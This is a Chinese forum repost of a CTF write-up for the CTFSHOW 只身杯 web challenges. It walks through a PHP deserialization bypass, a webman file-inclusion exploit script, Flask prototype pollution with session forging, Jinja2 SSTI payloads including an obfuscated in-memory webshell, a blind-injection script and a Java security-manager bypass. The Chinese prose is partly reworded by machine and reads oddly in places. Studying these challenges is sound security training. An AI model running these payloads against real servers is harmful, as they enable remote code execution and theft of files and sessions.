笑看天下无敌手 发表于 2024-12-6 07:35:05

CTFSHOW-只身杯(WEB部分复现WP)

前言

昨天刚竣事的CTFSHOW只身杯,遗憾没有时间打,只能做个赛后复盘了。我主攻WEB方向,以是对WEB方向的题目进行一次复现,其他方向有兴趣相识的朋侪可以参考官方WP,链接我会放在参考部分。
1. 签到·好玩的PHP

打开环境,访问地点即可看到题目源码
<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
      private $d = '';
      private $s = '';
      private $b = '';
      private $ctf = '';

      public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                  if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                  }
                }
            }
      }
    }

    unserialize($_GET["dsbctf"]); 1.1 代码逻辑



[*]变量$dsb由$d,$s,$b三个变量拼接而成,要求这三个变量的值两两不等,拼接得到的字符串长度不凌驾3。
[*]变量$ctf长度不凌驾3。
[*]如果$ctf和$dsb不强等于,而MD5值相称,那么包罗"/flag.txt"。
[*]传入参数dsbctf是序列化后的字符串,通过unserialize函数反序列化后调用__destruct方法实例化ctfshow类,触发发序列化毛病

强等于"==="需要变量类型和变量值都相称,一个思路使用PHP中的特殊浮点常量NAN和INF。
1.2 什么是NAN和INF?

在PHP中,NAN是一个特殊的浮点数值,表示非数值(Not-A-Number)。当一个运算无法计算效果时,好比零除以零,就会产生NAN。
PHP中的INF是一个特殊的浮点数值,表示无穷大(Infinity)。当数值凌驾PHP_FLOAT_MAX大概使用一些数学函数产生极大或极小的效果时,就会得到INF。
https://i-blog.csdnimg.cn/direct/3274e38e37864a8bab5c7d727b9e087d.png https://i-blog.csdnimg.cn/direct/6bf426412d004c1e88db877f6816fd1e.png

1.3 利用思路

1.3.1 php浮点数常量NAN和INF

使用浮点常量INF分别给ctf和dsb变量赋值,长度都为3,dsb是字符串类型,ctf是浮点型,由于MD5是以字符串形式进行加密的,以是他们的MD5值是相称的。如许就到达了绕过的目标。
payload:
<?php

class ctfshow {
    private $d = 'I';
    private $s = 'N';
    private $b = 'F';
    private $ctf = INF;

}

$a=new ctfshow();
echo urlencode(serialize($a));

//O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%22I%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%22N%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%22F%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bd%3AINF%3B%7D  https://i-blog.csdnimg.cn/direct/ae30b2816c4f4f999ce8d216bc6dc7b1.png

2.  迷雾重重

下载题目源码,放到IDEA进行代码审计
看到IndexController.php
<?php

namespace app\controller;

use support\Request;
use support\exception\BusinessException;

class IndexController
{
    public function index(Request $request)
    {
      
      return view('index/index');
    }

    public function testUnserialize(Request $request){
      if(null !== $request->get('data')){
            $data = $request->get('data');
            unserialize($data);
      }
      return "unserialize测试完毕";
    }

    public function testJson(Request $request){
      if(null !== $request->get('data')){
            $data = json_decode($request->get('data'),true);
            if(null!== $data && $data['name'] == 'guest'){
                return view('index/view', $data);
            }
      }
      return "json_decode测试完毕";
    }

    public function testSession(Request $request){
      $session = $request->session();
      $session->set('username',"guest");
      $data = $session->get('username');
      return "session测试完毕 username: ".$data;

    }

    public function testException(Request $request){
      if(null != $request->get('data')){
            $data = $request->get('data');
            throw new BusinessException("业务异常 ".$data,3000);
      }
      return "exception测试完毕";
    }


}
有四个接口testUnserialize、testJson、testSession、testException
2.1 代码分析

 testUnserialize接口没有发现存在触发反序列化毛病的可实例化类
testJson担当json格式数据,如果'name'的值等于'guest'的话就调用view方法,传入的参数为一个字符串'index/view'和我们传入的json格式数据$data,进行跟进
https://i-blog.csdnimg.cn/direct/e01763aa37b9463ca34fbf8e84115152.png
调用到 render方法,详细实现如下
   public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
    {
      $request = request();
      $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
      $configPrefix = $plugin ? "plugin.$plugin." : '';
      $viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
      $app = $app === null ? ($request->app ?? '') : $app;
      $baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
      $__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";

      if(isset($request->_view_vars)) {
            extract((array)$request->_view_vars);
      }
      extract($vars);
      ob_start();
      // Try to include php file.
      try {
            include $__template_path__;
      } catch (Throwable $e) {
            ob_end_clean();
            throw $e;
      }

      return ob_get_clean();
    }
} 传入的参数$var可控,利用extract()函数可以实现变量覆盖,下面还有一个文件包罗毛病。
2.2 利用思路

要利用文件包罗毛病需要找到可被包罗的文件


[*] nginx apache 不存在,排除日志包罗的思路
[*] pearcmd 由于下令行启动 这里不能使用php-fpm的方式 包罗pearcmd.php来getshell
[*] session 文件包罗 需要找到网站部署的目录名字 进行绝对路径包罗 相对路径无法定位到session文件
[*] 文件上传未开启 无法包罗临时文件 和 文件上传 session
[*] 远程文件包罗 测试发现除了file协议 其他伪协议并未开启
一个思路是包罗php代码。include的包罗方式是先检查一遍所要包罗的文件是否存在,如果存在则包罗,不存在则报错。如果包罗的是php代码,include会先执行一遍php代码,再将未经url编码的报错信息写入日志文件。我们可以包罗执行下令的php代码,如'<? `cat /flag>flag.txt`;?>',将下令执行效果输出到可访问的文件目录下,如public目录,但是重定向输出执行效果到指定文件需要public目录的绝对路径。获取绝对路径的思路是利用/proc/进程PID/cmdline找到存在start.php的下令,因为cmdline包罗了运行start.php时文件的绝对路径。
/proc/pid目录介绍:
https://i-blog.csdnimg.cn/direct/6e8457aebd6642a2a572fcd70c39e906.png
官方payload:
import requests
import time
from datetime import datetime

#注意 这里题目地址 应该https换成http
url = "http://6d2d54ba-5db3-454c-b8b4-869e514c1376.challenge.ctf.show/"

#Author: ctfshow h1xa
def get_webroot():
    print("[+] Getting webroot...")
   
    webroot = ""

    for i in range(1,300):
      r = requests.get(url=url+'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))   
      time.sleep(0.2)
      if "start.php" in r.text:
            print(f"[\033 Found start.php at /proc/{i}/cmdline")
            webroot = r.text.split("start_file=")[:-10]
            print(f"Found webroot: {webroot}")
            break
    return webroot

def send_shell(webroot):
    #payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot)
    payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format(webroot)
    r = requests.get(url=url+payload)
    time.sleep(1)
    if r.status_code == 500:
      print("[\033 Shell sent successfully")
    else:
      print("Failed to send shell")

def include_shell(webroot):
    now = datetime.now()
    payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format(webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d"))
    r = requests.get(url=url+payload)
    time.sleep(5)
    r = requests.get(url=url+'flag.txt')
    if "ctfshow" in r.text:
      print("=================FLAG==================\n")
      print("\033[32m"+r.text+"\033[0m")
      print("=================FLAG==================\n")
      print("[\033 Shell included successfully")
    else:
      print("Failed to include shell")

def exploit():
    webroot = get_webroot()
    send_shell(webroot)
    include_shell(webroot)

if __name__ == '__main__':
    exploit()
 https://i-blog.csdnimg.cn/direct/b195ac470e684058afe229ec56475d00.png

3.  ez_inject

3.1 题目分析

 打开题目链接https://i-blog.csdnimg.cn/direct/e379ef57ec344e5384357e1d3d7264ac.png
有一个输入框,一个注册和一个登录
https://i-blog.csdnimg.cn/direct/58f86b8b91fa41dbb4094bbc1464b1b8.png
先随便注册一个用户test/test,登录之后看到Secret提示
https://i-blog.csdnimg.cn/direct/e69c21d40fdd4c05b10d2a7c0d5f0ab4.png
看一下数据包
https://i-blog.csdnimg.cn/direct/5bbd1f4180bb4737ab774a6b3c7e79f7.png
https://i-blog.csdnimg.cn/direct/60df4f3c6404437c9bcf45895f38dd7e.png
很显着是jwt伪造,那么jwt密钥是什么呢?
https://i-blog.csdnimg.cn/direct/775593585afc499ab8199ed7fbac810b.png
根据提示可以利用原型连污染区覆盖掉全局变量中的SECRET_KEY的值,接口是/register
import requests
import json

url = "https://37dd227b-d7c6-48e4-a462-435c08715f44.challenge.ctf.show/register"
payload = {
    "username": "test",
    "password": "test",
    "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "baozongwi"}}}},
}
r = requests.post(url=url, json=payload)
print(r.text)
https://i-blog.csdnimg.cn/direct/814f18b354e749c0bcde8b463a0657f6.png
接下来用test1用户登录, 再用flask-unsign伪造一个jwt
flask-unsign --sign --cookie "{'is_admin': 1, 'username': 'test1'}" --secret'baozongwi'

eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiJ0ZXN0MSJ9.ZzYYAg.hqQmeTq4GCo4yfAofb0pngi0tpA  修改cookie后重新发包
https://i-blog.csdnimg.cn/direct/960359454ecb42b9b31ef2b3fd255210.png
提示接口是/echo, 
 https://i-blog.csdnimg.cn/direct/0c3af0198af14574bd66a655206ceef4.png
https://i-blog.csdnimg.cn/direct/619eabb167d14f538a4495c838bb28f9.png
着实就是一开始的输入框
https://i-blog.csdnimg.cn/direct/9a6d455df0c54e88a705950f5f541530.png
3.2 利用思路

3.2.1 url_for内存马

flask可以用url_for打内存马,一个测试demo
from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world():# put application's code here
    person = 'knave'
    if request.args.get('name'):
      person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)


if __name__ == '__main__':
    app.run()
测试payload:
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').system('calc')")}}
https://i-blog.csdnimg.cn/direct/f96b77ddc6e24bb886d45b6b7c6de02e.png
本题环境不需要使用“{{}}”
url_for["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp ifrequest.args.get('cmd') and exec(\"globalCmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['request'],'app':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['current_app']})


//url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
 https://i-blog.csdnimg.cn/direct/4ea9a6f12b51437e83cec7a9cfe9ab6a.png
设置了waf 
3.2.2 cycler盲注

官方wp用到的是cycler进行盲注:
什么是cycler?
Cycler 是一个用于创建可组合样式循环的 Python 库。它主要用于数据可视化库(如 Matplotlib)中,以简化样式管理。Cycler 答应用户界说一组样式,并在绘图时循环使用这些样式,从而使图表更加雅观和同等。
检测payload:
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].__import__('builtins').open('/flag').read(1)=='c' https://i-blog.csdnimg.cn/direct/db88f5a565ed40dd926e0b3d709ffaca.png
 官方payload:
import requests
import concurrent.futures

url = "http://7d26c775-19b5-4001-88e3-fbba32c4e64c.challenge.ctf.show/echo"
strings = "qwertyuiopasdfghjklzxcvbnm{}-12334567890"
target = ""

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "cookie":"user=eyJpc19hZG1pbiI6MSwidXNlcm5hbWUiOiJ0ZXN0In0.ZzC9AQ.hbEoNTSwLImc98ykp0j_EJ_VlnQ"
}


def check_character(i, j, string):
    payload = '''
    cycler["__in"+"it__"]["__glo"+"bals__"]
    ["__bui"+"ltins__"].__import__('builtins').open('/flag').read({})[{}]=='{}'
    '''.format(j + 1, j, string)
    data = {"message": payload}
    r = requests.post(url=url, data=data, headers=headers)
    return string if r.status_code == 200 and "your answer is True" in r.text else None


with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for i in range(50):
      futures = []
      for j in range(50):
            for string in strings:
                futures.append(executor.submit(check_character, i, j, string))

      for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                print(result)
                target += result
                if result == "}":
                  print(target)
                  exit()

4. ezzz_ssti

4.1 毛病检测

https://i-blog.csdnimg.cn/direct/47f545bf89c74906998fc0a7c899def4.png
https://i-blog.csdnimg.cn/direct/a0c78e7e551a4aa8a5308a4c18811f03.png
4.2 利用思路

4.2.1 常规payload

url_for:此函数全局空间下存在 eval() 和 os 模块
lipsum:此函数全局空间下存在 eval() 和 os 模块
以是我们可以使用 __globals__ 属性来获取函数当前全局空间下的全部模块、函数及属性
下列 Payload 即通过 __globals__ 属性获取全局空间中的 os 模块,并调用 popen() 函数来执行系统下令;因为 popen 函数返回的效果是个文件对象,因此需要调用 read() 函数来获取执行效果。
 
payload:
{{url_for.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.os.popen('whoami').read()}} 有长度限定
https://i-blog.csdnimg.cn/direct/d2d3e11674534314855e72fe8317cac4.png

 长度检测脚本
import os
import requests
import time


url='http://83ddceb9-5ff3-4177-b538-4b5a5ef813e8.challenge.ctf.show/?user='
s='s'
headers={
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
    'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }
for i in range(100):
    payload='s'*i
    res=requests.get(url=url+payload,headers=headers)
    print(i)
    if res.status_code==200 and "太长了bro" in res.text:
      print(len)
      print("url={}".format(url)+"\n"+"最大长度:{}".format(len(payload)-1))
      break


https://i-blog.csdnimg.cn/direct/50702d4d5b3d47f79417bc9c7307b19a.png

4.2.2 set+update方法绕过长度限定

最大长度40,可以使用jinja2中的set+update方法来分段保存payload,使用方法如下
{%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /f*").read()}}   



{%print(config)%}                        //输出config字典的所有键值对
{%print(config.o)%}                        //输出  利用脚本:
import os
import requests
import time


url='http://83ddceb9-5ff3-4177-b538-4b5a5ef813e8.challenge.ctf.show/?user='
headers={
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
    'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }

# {%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
# {%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
# {%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
# {%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
# {{config.p("cat /f*").read()}}
#
#
# {%print(config)%}                        //输出config字典的所有键值对
# {%print(config.o)%}                        //输出   
payload={'{%set x=config.update(a=config.update)%}','{%set x=config.a(f=lipsum.__globals__)%}','{%set x=config.a(o=config.f.os)%}','{%set x=config.a(p=config.o.popen)%}','{{config.p("cat /f*").read()}}'}
print(len(payload))
for s in payload:
    res=requests.get(url=url+s,headers=headers)
    try:
      if res.status_code==200 and "ctfshow" in res.text:
            print(res.text)
            break
      time.sleep(1)
    except:
      print("Erro: "+"\n"+res.text)

#check
# req=requests.get(url+"{%print(config.o)%}",headers=headers)
# if req.status_code==200:
#   print(req.text+"\n"+len(req.text))


https://i-blog.csdnimg.cn/direct/1acf63223fbf4e23affcbe13e98700f2.png

5. 简朴的文件上传

5.1 毛病检测

https://i-blog.csdnimg.cn/direct/76ed57c94c304448bf0626d191be3733.png
随便上传一个jar文件
 https://i-blog.csdnimg.cn/direct/633eaab4cf81448fbe22f28af17bc3a1.png
文件巨细有限定
上传一个小一点的
https://i-blog.csdnimg.cn/direct/bc4869ea71c24d05880635bf15aaba9e.png
下方输入文件名然后Execute,发现有执行回显
https://i-blog.csdnimg.cn/direct/3445b236ddea427b932fef383d2148a2.png

上传Runtime的getshell包,发现没有执行权限
https://i-blog.csdnimg.cn/direct/38f9bd6e73954aa2aeff00ca40248ddc.png

如许的报错是因为java -jar 下令前面加了 -Djava.securityManager 参数,policy文件内容未知,jvm对 uploads 目录有读权限,同时有loadLibrary.*权限
测试发现题目并未对上传的文件内容做检测
https://i-blog.csdnimg.cn/direct/1b4ae3c4fbe64c04b984c93e1b97009b.png
5.2 利用思路

写一个包罗eval方法的本地so格式的libary,通过修改文件后缀进行上传,写一个外部的jar包,通过加载so文件并调用so文件中的eval方法进行下令执行
5.2.1 创建本地so文件

so文件:
https://ctfshow-1257200238.cos.ap-shanghai.myqcloud.com/static/file/dsbctf/CTFshowCodeManager.jar
当然也可以自己写,方法也不一定是eval,更多的内容留给各位自行去探索啦! 
5.2.1 外部jar包调用本地so文件

IDEA自己构建一个jar包来加载并利用调用so文件中的eval方法。构建的时候注意jdk版本不要太高,否则可能会执行失败,我用的jdk是1.8
https://i-blog.csdnimg.cn/direct/c5e9d53f45a54b4199ac352a9de1c4c4.png
 https://i-blog.csdnimg.cn/direct/75840bdaa48e45b297625fa771d52901.png
https://i-blog.csdnimg.cn/direct/78c1717189584b6d8063c8eaf485ce90.png
 https://i-blog.csdnimg.cn/direct/58e75572cfd44e0fafb7c768504b10de.png

https://i-blog.csdnimg.cn/direct/5407dbd4e36948d28c1854f347ceaa58.png
在项目标out目录下找到jar包并上传执行
https://i-blog.csdnimg.cn/direct/24951976a64f4b1890f2724783817eda.png


6. 参考

官方wp:https://ctf-show.feishu.cn/docx/R6udd58bxoQGQMxFphncZq8rn5e
深度分析Linux进程的内部机制:一探/proc/pid的奥秘_mountinfo 解析-CSDN博客
Cycler 开源项目教程-CSDN博客
python内存马学习_flask内存马-CSDN博客
Flask框架中的页面跳转和重定向(url_for,redirect)_flask redirect-CSDN博客
利用pearcmd.php文件包罗拿shell(LFI)_pearcmd文件包罗-CSDN博客
Python Flask SSTI 之 长度限定绕过_python绕过长度限定的内置函数-CSDN博客


结语

好久没打CTF了...加油吧!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: CTFSHOW-只身杯(WEB部分复现WP)